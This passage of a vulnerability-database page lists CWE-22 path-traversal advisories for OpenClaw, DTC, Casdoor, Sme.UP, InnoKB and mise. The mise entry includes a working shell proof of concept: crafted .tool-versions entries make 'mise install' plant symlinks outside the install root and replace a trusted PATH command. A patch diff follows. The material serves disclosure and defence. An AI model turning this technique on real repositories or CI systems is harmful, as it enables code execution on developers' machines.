CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13064 vulnerabilities reference this CWE, most recent first.
GHSA-F934-5RQF-XX47
Vulnerability from github – Published: 2026-04-17 22:33 – Updated: 2026-04-17 22:33Summary
The QMD backend memory_get read path accepted arbitrary workspace Markdown paths that were inside the workspace but outside the canonical memory locations or indexed QMD result set.
Impact
When the QMD backend was enabled, a caller with access to memory_get could read arbitrary *.md files under the configured workspace root, even when those files were not canonical memory files and had not been returned by QMD search. Severity remains low because exploitation requires access to the memory tool surface and is limited to workspace Markdown files, but it bypassed the intended memory-path policy.
Affected versions
- Affected:
< 2026.4.15 - Patched:
2026.4.15
Fix
OpenClaw 2026.4.15 restricts QMD reads to canonical memory paths or previously indexed QMD workspace paths. Workspace containment alone is no longer sufficient.
Verified in v2026.4.15:
extensions/memory-core/src/memory/qmd-manager.tsrejects non-default workspace Markdown paths unless they match an indexed QMD workspace read path.extensions/memory-core/src/memory/qmd-manager.test.tscovers QMD session search-result reads and the read-path restriction behavior.
Fix commit included in v2026.4.15 and absent from v2026.4.14:
37d5971db36491d5050efd42c333cbe0b98ed292via PR #66026
Thanks to @zsxsoft, Keen Security Lab, and @qclawer for reporting this issue.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.4.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-17T22:33:33Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe QMD backend `memory_get` read path accepted arbitrary workspace Markdown paths that were inside the workspace but outside the canonical memory locations or indexed QMD result set.\n\n## Impact\n\nWhen the QMD backend was enabled, a caller with access to `memory_get` could read arbitrary `*.md` files under the configured workspace root, even when those files were not canonical memory files and had not been returned by QMD search. Severity remains low because exploitation requires access to the memory tool surface and is limited to workspace Markdown files, but it bypassed the intended memory-path policy.\n\n## Affected versions\n\n- Affected: `\u003c 2026.4.15`\n- Patched: `2026.4.15`\n\n## Fix\n\nOpenClaw `2026.4.15` restricts QMD reads to canonical memory paths or previously indexed QMD workspace paths. Workspace containment alone is no longer sufficient.\n\nVerified in `v2026.4.15`:\n\n- `extensions/memory-core/src/memory/qmd-manager.ts` rejects non-default workspace Markdown paths unless they match an indexed QMD workspace read path.\n- `extensions/memory-core/src/memory/qmd-manager.test.ts` covers QMD session search-result reads and the read-path restriction behavior.\n\nFix commit included in `v2026.4.15` and absent from `v2026.4.14`:\n\n- `37d5971db36491d5050efd42c333cbe0b98ed292` via PR #66026\n\nThanks to @zsxsoft, Keen Security Lab, and @qclawer for reporting this issue.",
"id": "GHSA-f934-5rqf-xx47",
"modified": "2026-04-17T22:33:33Z",
"published": "2026-04-17T22:33:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-f934-5rqf-xx47"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/pull/66026"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/37d5971db36491d5050efd42c333cbe0b98ed292"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: QMD memory_get restricts reads to canonical or indexed memory paths"
}
GHSA-F937-VGGR-93FV
Vulnerability from github – Published: 2022-05-17 04:49 – Updated: 2025-04-12 12:31Directory traversal vulnerability in shared/package-installer in Domain Technologie Control (DTC) before 0.34.1 allows remote authenticated users to execute arbitrary PHP code via a .. (dot dot) in the pkg parameter in a do_install action to dtc/.
{
"affected": [],
"aliases": [
"CVE-2011-5273"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-03-21T04:38:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in shared/package-installer in Domain Technologie Control (DTC) before 0.34.1 allows remote authenticated users to execute arbitrary PHP code via a .. (dot dot) in the pkg parameter in a do_install action to dtc/.",
"id": "GHSA-f937-vggr-93fv",
"modified": "2025-04-12T12:31:44Z",
"published": "2022-05-17T04:49:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-5273"
},
{
"type": "WEB",
"url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=637629"
},
{
"type": "WEB",
"url": "http://git.gplhost.com/gitweb/?p=dtc.git%3Ba=blob%3Bf=debian/changelog%3Bhb=3eb6ef5cea6c571aae5e49e1930de778eca280c3"
},
{
"type": "WEB",
"url": "http://git.gplhost.com/gitweb/?p=dtc.git;a=blob;f=debian/changelog;hb=3eb6ef5cea6c571aae5e49e1930de778eca280c3"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2011/dsa-2365"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-F93F-55C2-8C89
Vulnerability from github – Published: 2022-12-07 03:30 – Updated: 2022-12-08 15:33Casdoor before v1.126.1 was discovered to contain an arbitrary file deletion vulnerability via the uploadFile function.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/casdoor/casdoor"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.126.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-44942"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-07T14:15:45Z",
"nvd_published_at": "2022-12-07T02:15:00Z",
"severity": "HIGH"
},
"details": "Casdoor before v1.126.1 was discovered to contain an arbitrary file deletion vulnerability via the `uploadFile` function.",
"id": "GHSA-f93f-55c2-8c89",
"modified": "2022-12-08T15:33:38Z",
"published": "2022-12-07T03:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-44942"
},
{
"type": "WEB",
"url": "https://github.com/casdoor/casdoor/issues/1171"
},
{
"type": "WEB",
"url": "https://github.com/casdoor/casdoor/pull/1174"
},
{
"type": "PACKAGE",
"url": "https://github.com/casdoor/casdoor"
},
{
"type": "WEB",
"url": "https://github.com/casdoor/casdoor/releases/tag/v1.126.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Casdoor arbitrary file deletion vulnerability via uploadFile function"
}
GHSA-F93W-237M-4CJV
Vulnerability from github – Published: 2023-02-27 18:32 – Updated: 2025-03-10 18:31Sme.UP TOKYO V6R1M220406 was discovered to contain an arbitrary file download vulnerabilty via the component /ResourceService.
{
"affected": [],
"aliases": [
"CVE-2023-26758"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-27T16:15:00Z",
"severity": "HIGH"
},
"details": "Sme.UP TOKYO V6R1M220406 was discovered to contain an arbitrary file download vulnerabilty via the component /ResourceService.",
"id": "GHSA-f93w-237m-4cjv",
"modified": "2025-03-10T18:31:49Z",
"published": "2023-02-27T18:32:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26758"
},
{
"type": "WEB",
"url": "https://www.swascan.com/it/security-advisory-sme-up-erp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-F94G-P7RG-4254
Vulnerability from github – Published: 2023-05-08 21:31 – Updated: 2024-04-04 03:52WJJ Software - InnoKB Server, InnoKB/Console 2.2.1 - CWE-22: Path Traversal
{
"affected": [],
"aliases": [
"CVE-2023-31181"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-08T21:15:12Z",
"severity": "HIGH"
},
"details": "\nWJJ Software - InnoKB Server, InnoKB/Console 2.2.1 - CWE-22: Path Traversal\n\n\n",
"id": "GHSA-f94g-p7rg-4254",
"modified": "2024-04-04T03:52:55Z",
"published": "2023-05-08T21:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31181"
},
{
"type": "WEB",
"url": "https://www.gov.il/en/Departments/faq/cve_advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-F94H-J2QG-FXW3
Vulnerability from github – Published: 2026-06-23 18:13 – Updated: 2026-06-23 18:13Summary
The mise HTTP backend builds its install symlink destination from the raw resolved version string for non-latest versions. Normal tool install paths use the sanitized version pathname, but the HTTP backend's symlink path uses the raw value. On Unix-like systems, if that version is an absolute path, PathBuf::join discards the intended mise installs root.
A repository-controlled .tool-versions file can therefore make mise install create a symlink outside the mise install tree. With bin_path, the same issue can place an executable symlink under an attacker-selected absolute prefix, such as a developer-tool prefix that is later added to PATH.
The reproducer below also models a CI/developer workflow where a later step executes a preexisting trusted command from a user-local PATH prefix. The absolute-version HTTP entry replaces that command with a symlink to downloaded HTTP content. A non-absolute version control does not replace the trusted PATH command.
Affected Code
In src/backend/http.rs, create_install_symlink() derives the destination path from raw tv.version:
let version_name = if tv.version == "latest" || tv.version.is_empty() {
&cache_key[..7.min(cache_key.len())]
} else {
&tv.version
};
let install_path = tv.ba().installs_path.join(version_name);
ToolVersion::tv_pathname() already sanitizes : and / for filesystem version directory names, but this HTTP backend path does not use it.
Impact
Proven:
- Outside-root symlink creation from a repository-controlled
.tool-versionsentry. - Executable symlink materialization under an attacker-selected absolute prefix when
bin_pathis configured. - The executable symlink can be run if that prefix's
bindirectory is onPATH. - Replacement of a preexisting command in a trusted
PATHprefix in a local workflow-chain model, followed by execution of the replaced command by name.
Not claimed:
mise installdoes not automatically execute the placed binary in the reproducer.- Windows drive-letter absolute paths are not claimed; the demonstrated impact is Unix-like path behavior.
- Credential theft is not claimed.
Why This Crosses A Boundary
.tool-versions is an asdf-compatible project file and is parsed without the mise.toml trust gate used for configuration features that can execute code or affect the environment. Even if a project can choose tools to install, an install operation should keep HTTP backend materialization under the selected mise install/cache roots unless the user explicitly performs a trusted link or path operation.
The HTTP backend documentation describes HTTP tool installations as symlinks under the mise installs directory, for example:
$MISE_DATA_DIR/installs/http-my-tool/1.0.0 -> $MISE_CACHE_DIR/http-tarballs/...
The observed behavior instead allows the project version string to choose an absolute install destination.
Reproduction
The script below performs three local checks:
- It creates a
.tool-versionsentry whose HTTP backend version is an absolute path, then confirms that mise creates a symlink at that outside path. - It creates a second HTTP backend entry with
bin_path=binand confirms that mise places an executable symlink under an attacker-selected absolute prefix and that the symlink is executable when the prefix'sbindirectory is onPATH. - It creates a preexisting trusted command in a user-local
PATHprefix, runsmise installfrom a project.tool-versionsfile, and confirms the later trusted command execution is replaced only in the absolute-version case. A non-absolute version control leaves the preexisting command in place.
The script uses a loopback HTTP server and temporary directories only.
#!/bin/sh
set -eu
if ! command -v mise >/dev/null 2>&1; then
echo "mise must be on PATH" >&2
exit 1
fi
if ! command -v python3 >/dev/null 2>&1; then
echo "python3 must be on PATH for the loopback HTTP server" >&2
exit 1
fi
ROOT="$(mktemp -d)"
OUT="$ROOT/out"
DATA="$ROOT/data"
CACHE="$ROOT/cache"
STATE="$ROOT/state"
CONFIG="$ROOT/config"
WWW="$ROOT/www"
cleanup() {
if [ -n "${SERVER_PID:-}" ]; then
kill "$SERVER_PID" 2>/dev/null || true
fi
rm -rf "$ROOT"
}
trap cleanup EXIT
mkdir -p "$OUT" "$DATA" "$CACHE" "$STATE" "$CONFIG" "$WWW"
cat > "$WWW/payload" <<'PAYLOAD'
#!/bin/sh
if [ -n "${CHAIN_MARKER:-}" ]; then
echo ATTACKER_CONTROLLED_TRUSTED_COMMAND > "$CHAIN_MARKER"
else
echo MISE_HTTP_ABSOLUTE_VERSION_EXECUTED > "$MISE_HTTP_ABSOLUTE_VERSION_MARKER"
fi
PAYLOAD
chmod +x "$WWW/payload"
(
cd "$WWW"
python3 -m http.server 54321 --bind 127.0.0.1 >/dev/null 2>&1
) &
SERVER_PID=$!
sleep 1
PROJECT1="$ROOT/project-host-write"
mkdir -p "$PROJECT1"
cat > "$PROJECT1/.tool-versions" <<EOF1
http:absolute-version-one[url=http://127.0.0.1:54321/payload,bin=owned-one] $OUT/owned-link
EOF1
(
cd "$PROJECT1"
MISE_DATA_DIR="$DATA" \
MISE_CACHE_DIR="$CACHE" \
MISE_STATE_DIR="$STATE" \
MISE_CONFIG_DIR="$CONFIG" \
MISE_YES=1 \
mise install --yes
)
if [ ! -L "$OUT/owned-link" ]; then
echo "FAIL: outside symlink was not created" >&2
exit 1
fi
PROJECT2="$ROOT/project-bin-path"
mkdir -p "$PROJECT2"
cat > "$PROJECT2/.tool-versions" <<EOF2
http:absolute-version-two[url=http://127.0.0.1:54321/payload,bin=ownedcmd,bin_path=bin] $OUT/selected-prefix
EOF2
rm -rf "$DATA" "$CACHE" "$STATE" "$CONFIG"
mkdir -p "$DATA" "$CACHE" "$STATE" "$CONFIG"
(
cd "$PROJECT2"
MISE_DATA_DIR="$DATA" \
MISE_CACHE_DIR="$CACHE" \
MISE_STATE_DIR="$STATE" \
MISE_CONFIG_DIR="$CONFIG" \
MISE_YES=1 \
mise install --yes
)
if [ ! -L "$OUT/selected-prefix/bin/ownedcmd" ]; then
echo "FAIL: executable symlink was not created under selected prefix" >&2
exit 1
fi
MARKER="$OUT/executed-marker"
MISE_HTTP_ABSOLUTE_VERSION_MARKER="$MARKER" \
PATH="$OUT/selected-prefix/bin:$PATH" \
ownedcmd
if ! grep -q MISE_HTTP_ABSOLUTE_VERSION_EXECUTED "$MARKER"; then
echo "FAIL: executable symlink did not run" >&2
exit 1
fi
echo "VULNERABLE_BEHAVIOR_CONFIRMED"
echo "outside symlink: $OUT/owned-link -> $(readlink "$OUT/owned-link")"
echo "path executable: $OUT/selected-prefix/bin/ownedcmd -> $(readlink "$OUT/selected-prefix/bin/ownedcmd")"
run_path_chain_case() {
case_name="$1"
version="$2"
expected="$3"
CASE_ROOT="$ROOT/$case_name"
HOME_DIR="$CASE_ROOT/home"
CASE_DATA="$CASE_ROOT/data"
CASE_CACHE="$CASE_ROOT/cache"
CASE_STATE="$CASE_ROOT/state"
CASE_CONFIG="$CASE_ROOT/config"
CASE_PROJECT="$CASE_ROOT/project"
CASE_MARKER="$CASE_ROOT/marker"
if [ "$version" = "__HOME_LOCAL_PREFIX__" ]; then
version="$HOME_DIR/.local"
fi
mkdir -p "$HOME_DIR/.local/bin" "$CASE_DATA" "$CASE_CACHE" "$CASE_STATE" "$CASE_CONFIG" "$CASE_PROJECT"
cat > "$HOME_DIR/.local/bin/trustedcmd" <<'SAFE'
#!/bin/sh
echo SAFE_PREEXISTING_TRUSTED_COMMAND > "$CHAIN_MARKER"
SAFE
chmod +x "$HOME_DIR/.local/bin/trustedcmd"
cat > "$CASE_PROJECT/.tool-versions" <<EOF3
http:path-chain[url=http://127.0.0.1:54321/payload,bin=trustedcmd,bin_path=bin] $version
EOF3
(
cd "$CASE_PROJECT"
HOME="$HOME_DIR" \
MISE_DATA_DIR="$CASE_DATA" \
MISE_CACHE_DIR="$CASE_CACHE" \
MISE_STATE_DIR="$CASE_STATE" \
MISE_CONFIG_DIR="$CASE_CONFIG" \
MISE_YES=1 \
mise install --yes
)
CHAIN_MARKER="$CASE_MARKER" \
PATH="$HOME_DIR/.local/bin:$PATH" \
trustedcmd
observed="$(cat "$CASE_MARKER")"
if [ "$observed" != "$expected" ]; then
echo "FAIL: $case_name expected $expected but saw $observed" >&2
exit 1
fi
if [ "$case_name" = "path-chain-vulnerable" ] && [ ! -L "$HOME_DIR/.local/bin/trustedcmd" ]; then
echo "FAIL: path-chain case did not replace trustedcmd with a symlink" >&2
exit 1
fi
}
run_path_chain_case path-chain-vulnerable "__HOME_LOCAL_PREFIX__" ATTACKER_CONTROLLED_TRUSTED_COMMAND
run_path_chain_case path-chain-control "1.0.0" SAFE_PREEXISTING_TRUSTED_COMMAND
echo "PATH_CHAIN_CONFIRMED"
Expected vulnerable markers:
VULNERABLE_BEHAVIOR_CONFIRMED
PATH_CHAIN_CONFIRMED
Candidate Fix
Use tv.tv_pathname() for non-latest HTTP install symlink names, preserving the current content-addressed behavior for latest or empty versions.
diff --git a/src/backend/http.rs b/src/backend/http.rs
index 4e4e972..18cf8a1 100644
--- a/src/backend/http.rs
+++ b/src/backend/http.rs
@@ -518,12 +518,12 @@ impl HttpBackend {
// Determine version name for install path
let version_name = if tv.version == "latest" || tv.version.is_empty() {
- &cache_key[..7.min(cache_key.len())] // Content-based versioning
+ cache_key[..7.min(cache_key.len())].to_string() // Content-based versioning
} else {
- &tv.version
+ tv.tv_pathname()
};
- let install_path = tv.ba().installs_path.join(version_name);
+ let install_path = tv.ba().installs_path.join(&version_name);
// Clean up existing install
if install_path.exists() {
@@ -839,3 +839,51 @@ impl Backend for HttpBackend {
}
}
}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+ use crate::cli::args::{BackendArg, BackendResolution};
+ use crate::toolset::{ToolRequest, ToolSource, ToolVersionOptions};
+
+ fn http_test_tv(version: &str) -> ToolVersion {
+ let backend = Arc::new(BackendArg::new_raw(
+ "http-absolute-version".to_string(),
+ Some("http:absolute-version".to_string()),
+ "absolute-version".to_string(),
+ None,
+ BackendResolution::new(true),
+ ));
+ let request = ToolRequest::Version {
+ backend,
+ version: version.to_string(),
+ options: ToolVersionOptions::default(),
+ source: ToolSource::Argument,
+ };
+ ToolVersion::new(request, version.to_string())
+ }
+
+ #[test]
+ fn install_symlink_path_uses_sanitized_version_pathname() {
+ let tv = http_test_tv("/outside-root/mise-http-version-out/selected-prefix");
+
+ assert_eq!(
+ tv.tv_pathname(),
+ "-outside-root-mise-http-version-out-selected-prefix"
+ );
+ assert!(!Path::new(&tv.tv_pathname()).is_absolute());
+ }
+
+ #[test]
+ fn latest_install_symlink_still_uses_content_version() {
+ let tv = http_test_tv("latest");
+ let cache_key = "abcdef123456";
+ let version_name = if tv.version == "latest" || tv.version.is_empty() {
+ cache_key[..7.min(cache_key.len())].to_string()
+ } else {
+ tv.tv_pathname()
+ };
+
+ assert_eq!(version_name, "abcdef1");
+ }
+}
Reporter: JUNYI LIU
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.5.16"
},
"package": {
"ecosystem": "crates.io",
"name": "mise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.6.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54557"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T18:13:53Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe mise HTTP backend builds its install symlink destination from the raw resolved version string for non-latest versions. Normal tool install paths use the sanitized version pathname, but the HTTP backend\u0027s symlink path uses the raw value. On Unix-like systems, if that version is an absolute path, `PathBuf::join` discards the intended mise installs root.\n\nA repository-controlled `.tool-versions` file can therefore make `mise install` create a symlink outside the mise install tree. With `bin_path`, the same issue can place an executable symlink under an attacker-selected absolute prefix, such as a developer-tool prefix that is later added to `PATH`.\n\nThe reproducer below also models a CI/developer workflow where a later step executes a preexisting trusted command from a user-local `PATH` prefix. The absolute-version HTTP entry replaces that command with a symlink to downloaded HTTP content. A non-absolute version control does not replace the trusted `PATH` command.\n\n## Affected Code\n\nIn `src/backend/http.rs`, `create_install_symlink()` derives the destination path from raw `tv.version`:\n\n```rust\nlet version_name = if tv.version == \"latest\" || tv.version.is_empty() {\n \u0026cache_key[..7.min(cache_key.len())]\n} else {\n \u0026tv.version\n};\n\nlet install_path = tv.ba().installs_path.join(version_name);\n```\n\n`ToolVersion::tv_pathname()` already sanitizes `:` and `/` for filesystem version directory names, but this HTTP backend path does not use it.\n\n## Impact\n\nProven:\n\n- Outside-root symlink creation from a repository-controlled `.tool-versions` entry.\n- Executable symlink materialization under an attacker-selected absolute prefix when `bin_path` is configured.\n- The executable symlink can be run if that prefix\u0027s `bin` directory is on `PATH`.\n- Replacement of a preexisting command in a trusted `PATH` prefix in a local workflow-chain model, followed by execution of the replaced command by name.\n\nNot claimed:\n\n- `mise install` does not automatically execute the placed binary in the reproducer.\n- Windows drive-letter absolute paths are not claimed; the demonstrated impact is Unix-like path behavior.\n- Credential theft is not claimed.\n\n## Why This Crosses A Boundary\n\n`.tool-versions` is an asdf-compatible project file and is parsed without the `mise.toml` trust gate used for configuration features that can execute code or affect the environment. Even if a project can choose tools to install, an install operation should keep HTTP backend materialization under the selected mise install/cache roots unless the user explicitly performs a trusted link or path operation.\n\nThe HTTP backend documentation describes HTTP tool installations as symlinks under the mise installs directory, for example:\n\n```text\n$MISE_DATA_DIR/installs/http-my-tool/1.0.0 -\u003e $MISE_CACHE_DIR/http-tarballs/...\n```\n\nThe observed behavior instead allows the project version string to choose an absolute install destination.\n\n## Reproduction\n\nThe script below performs three local checks:\n\n1. It creates a `.tool-versions` entry whose HTTP backend version is an absolute path, then confirms that mise creates a symlink at that outside path.\n2. It creates a second HTTP backend entry with `bin_path=bin` and confirms that mise places an executable symlink under an attacker-selected absolute prefix and that the symlink is executable when the prefix\u0027s `bin` directory is on `PATH`.\n3. It creates a preexisting trusted command in a user-local `PATH` prefix, runs `mise install` from a project `.tool-versions` file, and confirms the later trusted command execution is replaced only in the absolute-version case. A non-absolute version control leaves the preexisting command in place.\n\nThe script uses a loopback HTTP server and temporary directories only.\n\n```sh\n#!/bin/sh\nset -eu\n\nif ! command -v mise \u003e/dev/null 2\u003e\u00261; then\n echo \"mise must be on PATH\" \u003e\u00262\n exit 1\nfi\n\nif ! command -v python3 \u003e/dev/null 2\u003e\u00261; then\n echo \"python3 must be on PATH for the loopback HTTP server\" \u003e\u00262\n exit 1\nfi\n\nROOT=\"$(mktemp -d)\"\nOUT=\"$ROOT/out\"\nDATA=\"$ROOT/data\"\nCACHE=\"$ROOT/cache\"\nSTATE=\"$ROOT/state\"\nCONFIG=\"$ROOT/config\"\nWWW=\"$ROOT/www\"\n\ncleanup() {\n if [ -n \"${SERVER_PID:-}\" ]; then\n kill \"$SERVER_PID\" 2\u003e/dev/null || true\n fi\n rm -rf \"$ROOT\"\n}\ntrap cleanup EXIT\n\nmkdir -p \"$OUT\" \"$DATA\" \"$CACHE\" \"$STATE\" \"$CONFIG\" \"$WWW\"\n\ncat \u003e \"$WWW/payload\" \u003c\u003c\u0027PAYLOAD\u0027\n#!/bin/sh\nif [ -n \"${CHAIN_MARKER:-}\" ]; then\n echo ATTACKER_CONTROLLED_TRUSTED_COMMAND \u003e \"$CHAIN_MARKER\"\nelse\n echo MISE_HTTP_ABSOLUTE_VERSION_EXECUTED \u003e \"$MISE_HTTP_ABSOLUTE_VERSION_MARKER\"\nfi\nPAYLOAD\nchmod +x \"$WWW/payload\"\n\n(\n cd \"$WWW\"\n python3 -m http.server 54321 --bind 127.0.0.1 \u003e/dev/null 2\u003e\u00261\n) \u0026\nSERVER_PID=$!\nsleep 1\n\nPROJECT1=\"$ROOT/project-host-write\"\nmkdir -p \"$PROJECT1\"\ncat \u003e \"$PROJECT1/.tool-versions\" \u003c\u003cEOF1\nhttp:absolute-version-one[url=http://127.0.0.1:54321/payload,bin=owned-one] $OUT/owned-link\nEOF1\n\n(\n cd \"$PROJECT1\"\n MISE_DATA_DIR=\"$DATA\" \\\n MISE_CACHE_DIR=\"$CACHE\" \\\n MISE_STATE_DIR=\"$STATE\" \\\n MISE_CONFIG_DIR=\"$CONFIG\" \\\n MISE_YES=1 \\\n mise install --yes\n)\n\nif [ ! -L \"$OUT/owned-link\" ]; then\n echo \"FAIL: outside symlink was not created\" \u003e\u00262\n exit 1\nfi\n\nPROJECT2=\"$ROOT/project-bin-path\"\nmkdir -p \"$PROJECT2\"\ncat \u003e \"$PROJECT2/.tool-versions\" \u003c\u003cEOF2\nhttp:absolute-version-two[url=http://127.0.0.1:54321/payload,bin=ownedcmd,bin_path=bin] $OUT/selected-prefix\nEOF2\n\nrm -rf \"$DATA\" \"$CACHE\" \"$STATE\" \"$CONFIG\"\nmkdir -p \"$DATA\" \"$CACHE\" \"$STATE\" \"$CONFIG\"\n\n(\n cd \"$PROJECT2\"\n MISE_DATA_DIR=\"$DATA\" \\\n MISE_CACHE_DIR=\"$CACHE\" \\\n MISE_STATE_DIR=\"$STATE\" \\\n MISE_CONFIG_DIR=\"$CONFIG\" \\\n MISE_YES=1 \\\n mise install --yes\n)\n\nif [ ! -L \"$OUT/selected-prefix/bin/ownedcmd\" ]; then\n echo \"FAIL: executable symlink was not created under selected prefix\" \u003e\u00262\n exit 1\nfi\n\nMARKER=\"$OUT/executed-marker\"\nMISE_HTTP_ABSOLUTE_VERSION_MARKER=\"$MARKER\" \\\nPATH=\"$OUT/selected-prefix/bin:$PATH\" \\\nownedcmd\n\nif ! grep -q MISE_HTTP_ABSOLUTE_VERSION_EXECUTED \"$MARKER\"; then\n echo \"FAIL: executable symlink did not run\" \u003e\u00262\n exit 1\nfi\n\necho \"VULNERABLE_BEHAVIOR_CONFIRMED\"\necho \"outside symlink: $OUT/owned-link -\u003e $(readlink \"$OUT/owned-link\")\"\necho \"path executable: $OUT/selected-prefix/bin/ownedcmd -\u003e $(readlink \"$OUT/selected-prefix/bin/ownedcmd\")\"\n\nrun_path_chain_case() {\n case_name=\"$1\"\n version=\"$2\"\n expected=\"$3\"\n\n CASE_ROOT=\"$ROOT/$case_name\"\n HOME_DIR=\"$CASE_ROOT/home\"\n CASE_DATA=\"$CASE_ROOT/data\"\n CASE_CACHE=\"$CASE_ROOT/cache\"\n CASE_STATE=\"$CASE_ROOT/state\"\n CASE_CONFIG=\"$CASE_ROOT/config\"\n CASE_PROJECT=\"$CASE_ROOT/project\"\n CASE_MARKER=\"$CASE_ROOT/marker\"\n\n if [ \"$version\" = \"__HOME_LOCAL_PREFIX__\" ]; then\n version=\"$HOME_DIR/.local\"\n fi\n\n mkdir -p \"$HOME_DIR/.local/bin\" \"$CASE_DATA\" \"$CASE_CACHE\" \"$CASE_STATE\" \"$CASE_CONFIG\" \"$CASE_PROJECT\"\n cat \u003e \"$HOME_DIR/.local/bin/trustedcmd\" \u003c\u003c\u0027SAFE\u0027\n#!/bin/sh\necho SAFE_PREEXISTING_TRUSTED_COMMAND \u003e \"$CHAIN_MARKER\"\nSAFE\n chmod +x \"$HOME_DIR/.local/bin/trustedcmd\"\n\n cat \u003e \"$CASE_PROJECT/.tool-versions\" \u003c\u003cEOF3\nhttp:path-chain[url=http://127.0.0.1:54321/payload,bin=trustedcmd,bin_path=bin] $version\nEOF3\n\n (\n cd \"$CASE_PROJECT\"\n HOME=\"$HOME_DIR\" \\\n MISE_DATA_DIR=\"$CASE_DATA\" \\\n MISE_CACHE_DIR=\"$CASE_CACHE\" \\\n MISE_STATE_DIR=\"$CASE_STATE\" \\\n MISE_CONFIG_DIR=\"$CASE_CONFIG\" \\\n MISE_YES=1 \\\n mise install --yes\n )\n\n CHAIN_MARKER=\"$CASE_MARKER\" \\\n PATH=\"$HOME_DIR/.local/bin:$PATH\" \\\n trustedcmd\n\n observed=\"$(cat \"$CASE_MARKER\")\"\n if [ \"$observed\" != \"$expected\" ]; then\n echo \"FAIL: $case_name expected $expected but saw $observed\" \u003e\u00262\n exit 1\n fi\n\n if [ \"$case_name\" = \"path-chain-vulnerable\" ] \u0026\u0026 [ ! -L \"$HOME_DIR/.local/bin/trustedcmd\" ]; then\n echo \"FAIL: path-chain case did not replace trustedcmd with a symlink\" \u003e\u00262\n exit 1\n fi\n}\n\nrun_path_chain_case path-chain-vulnerable \"__HOME_LOCAL_PREFIX__\" ATTACKER_CONTROLLED_TRUSTED_COMMAND\nrun_path_chain_case path-chain-control \"1.0.0\" SAFE_PREEXISTING_TRUSTED_COMMAND\n\necho \"PATH_CHAIN_CONFIRMED\"\n```\n\nExpected vulnerable markers:\n\n```text\nVULNERABLE_BEHAVIOR_CONFIRMED\nPATH_CHAIN_CONFIRMED\n```\n\n## Candidate Fix\n\nUse `tv.tv_pathname()` for non-latest HTTP install symlink names, preserving the current content-addressed behavior for `latest` or empty versions.\n\n```diff\ndiff --git a/src/backend/http.rs b/src/backend/http.rs\nindex 4e4e972..18cf8a1 100644\n--- a/src/backend/http.rs\n+++ b/src/backend/http.rs\n@@ -518,12 +518,12 @@ impl HttpBackend {\n\n // Determine version name for install path\n let version_name = if tv.version == \"latest\" || tv.version.is_empty() {\n- \u0026cache_key[..7.min(cache_key.len())] // Content-based versioning\n+ cache_key[..7.min(cache_key.len())].to_string() // Content-based versioning\n } else {\n- \u0026tv.version\n+ tv.tv_pathname()\n };\n\n- let install_path = tv.ba().installs_path.join(version_name);\n+ let install_path = tv.ba().installs_path.join(\u0026version_name);\n\n // Clean up existing install\n if install_path.exists() {\n@@ -839,3 +839,51 @@ impl Backend for HttpBackend {\n }\n }\n 